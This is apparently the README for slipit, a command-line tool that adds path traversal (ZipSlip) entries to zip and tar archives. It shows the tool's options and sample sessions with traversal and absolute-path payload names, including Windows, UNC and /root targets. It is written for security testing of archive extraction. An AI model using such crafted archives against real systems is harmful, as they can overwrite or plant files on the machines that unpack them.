slipit 1.0.1

slipit

slipit is a command line utility for creating archives with path traversal elements. It is basically a successor of the famous evilarc utility with an extended feature set and improved base functionality.

[user@host ~]$ slipit archive.tar.gz
?rw-r--r-- user/user         24 2022-08-25 10:57:35 legit.txt
[user@host ~]$ slipit archive.tar.gz file1.txt file2.txt
[user@host ~]$ slipit archive.tar.gz
?rw-r--r-- user/user         24 2022-08-25 10:57:35 legit.txt
?rw-r--r-- user/user          3 2022-08-25 10:56:41 ..\..\..\..\..\..\file1.txt
?rw-r--r-- user/user          3 2022-08-25 10:56:44 ..\..\..\..\..\..\file2.txt
[user@host ~]$ slipit archive.tar.gz file1.txt --depth 3 --increment 1
[user@host ~]$ slipit archive.tar.gz
?rw-r--r-- user/user         24 2022-08-25 10:57:35 legit.txt
?rw-r--r-- user/user          3 2022-08-25 10:56:41 ..\..\..\..\..\..\file1.txt
?rw-r--r-- user/user          3 2022-08-25 10:56:44 ..\..\..\..\..\..\file2.txt
?rw-r--r-- user/user          3 2022-08-25 10:56:41 ..\file1.txt
?rw-r--r-- user/user          3 2022-08-25 10:56:41 ..\..\file1.txt
?rw-r--r-- user/user          3 2022-08-25 10:56:41 ..\..\..\file1.txt
[user@host ~]$ slipit archive.tar.gz --clear
[user@host ~]$ slipit archive.tar.gz
?rw-r--r-- user/user         24 2022-08-25 10:57:35 legit.txt

Installation

slipit can be installed via pip:

[user@host ~]$ pip3 install --user slipit

You can also build slipit from source by running the following commands:

[user@host ~]$ git clone https://github.com/usdAG/slipit
[user@host ~]$ cd slipit
[user@host slipit]$ python3 setup.py sdist
[user@host slipit]$ pip3 install --user dist/*

slipit also supports autocompletion for bash. To take advantage of autocompletion, you need to have the completion-helpers project installed. If setup correctly, just copying the completion script to your ~/.bash_completion.d folder enables autocompletion.

Usage

[user@host ~]$ slipit -h
usage: slipit [-h] [--archive-type {zip,tar,tgz,bz2}] [--clear] [--debug] [--depth int] [--increment int]
              [--overwrite] [--prefix string] [--multi] [--remove name] [--separator char] [--sequence seq]
              [--static content] [--symlink target] archive [filename ...]

slipit v1.0.1 - Utility for creating ZipSlip archives.

positional arguments:
  archive               target archive file
  filename              filenames to include into the archive

options:
  -h, --help            show this help message and exit
  --archive-type {zip,tar,tgz,bz2}
                        archive type to use
  --clear               clear the specified archive from traversal items
  --debug               enable verbose error output
  --depth int           number of traversal sequences to use (default=6)
  --increment int       add incremental traversal payloads from <int> to depth
  --overwrite           overwrite the target archive instead of appending to it
  --prefix string       prefix to use before the file name
  --multi               create an archive containing multiple payloads
  --remove name         remove files from the archive (glob matching)
  --separator char      path separator (default=\)
  --sequence seq        use a custom traversal sequence (default=..{sep})
  --static content      use static content for each input file
  --symlink target      add as symlink (only available for tar archives)

slipit expects the targeted output archive and an arbitrary number of input files as mandatory command line parameters. All specified input files are appended to the specified archive including a path traversal prefix with a depth specified with the --depth option (default is 6). The targeted archive format is determined automatically depending on the file extension for non existing archives or by the mime type for already existing archives. You can also specify the archive type manually by using the --archive-type option.

[user@host ~]$ slipit example.zip 
File Name                                             Modified             Size
example/                                       2022-02-02 18:39:00            0
example/images/                                2022-02-02 18:40:16            0
example/images/holiday.png                     2022-02-02 18:40:06        34001
example/images/beach.png                       2022-02-02 18:40:16         2112
example/documents/                             2022-02-02 18:39:48            0
example/documents/invoice.docx                 2022-02-02 18:39:40         3001
example/documents/important.docx               2022-02-02 18:39:48          121
[user@host ~]$ slipit example.zip test.txt
[user@host ~]$ slipit example.zip 
File Name                                             Modified             Size
example/                                       2022-02-02 18:39:00            0
example/images/                                2022-02-02 18:40:16            0
example/images/holiday.png                     2022-02-02 18:40:06        34001
example/images/beach.png                       2022-02-02 18:40:16         2112
example/documents/                             2022-02-02 18:39:48            0
example/documents/invoice.docx                 2022-02-02 18:39:40         3001
example/documents/important.docx               2022-02-02 18:39:48          121
..\..\..\..\..\..\test.txt                     2022-02-02 18:40:48           36

slipit expects the specified input files to exist on your local file system and uses the file content of them within the archive. Often times this is not necessary and you just require dummy content to test for ZipSlip vulnerabilities. This is where the --static <string> option can be helpful. When using this option, only the filenames of the specified input files are used within the archive, while their content is set to <string>.

[user@host ~]$ slipit example.zip test2.txt --static 'HELLO WORLD :D'
[user@host ~]$ slipit example.zip 
File Name                                             Modified             Size
example/                                       2022-02-02 18:39:00            0
example/images/                                2022-02-02 18:40:16            0
example/images/holiday.png                     2022-02-02 18:40:06        34001
example/images/beach.png                       2022-02-02 18:40:16         2112
example/documents/                             2022-02-02 18:39:48            0
example/documents/invoice.docx                 2022-02-02 18:39:40         3001
example/documents/important.docx               2022-02-02 18:39:48          121
..\..\..\..\..\..\test.txt                     2022-02-02 18:40:48           36
..\..\..\..\..\..\test2.txt                    2022-02-02 18:45:22           14

By using the --clear option, you can clear an archive from path traversal payloads.

[user@host ~]$ slipit --clear example.zip 
[user@host ~]$ slipit example.zip 
File Name                                             Modified             Size
example/                                       2022-02-02 18:39:00            0
example/images/                                2022-02-02 18:40:16            0
example/images/holiday.png                     2022-02-02 18:40:06        34001
example/images/beach.png                       2022-02-02 18:40:16         2112
example/documents/                             2022-02-02 18:39:48            0
example/documents/invoice.docx                 2022-02-02 18:39:40         3001
example/documents/important.docx               2022-02-02 18:39:48          121

slipit also allows to create an archive containing multiple payloads by using the --multi option:

[user@host ~]$ slipit example.zip test.txt --static content --multi
[user@host ~]$ slipit example.zip 
File Name                                             Modified             Size
C:\Windows\test.txt                            2022-02-03 09:35:28            7
\\10.10.10.1\share\test.txt                    2022-02-03 09:35:28            7
/root/test.txt                                 2022-02-03 09:35:28            7
../test.txt                                    2022-02-03 09:35:28            7
..\test.txt                                    2022-02-03 09:35:28            7
../../test.txt                                 2022-02-03 09:35:28            7
..\..\test.txt                                 2022-02-03 09:35:28            7
../../../test.txt                              2022-02-03 09:35:28            7
..\..\..\test.txt                              2022-02-03 09:35:28            7
../../../../test.txt                           2022-02-03 09:35:28            7
..\..\..\..\test.txt                           2022-02-03 09:35:28            7
../../../../../test.txt                        2022-02-03 09:35:28            7
..\..\..\..\..\test.txt                        2022-02-03 09:35:28            7

Supported Archive Types

Currently, the following archive types are supported (just naming their most common extension):

• .zip
• .tar
• .tar.gz
• .tar.bz2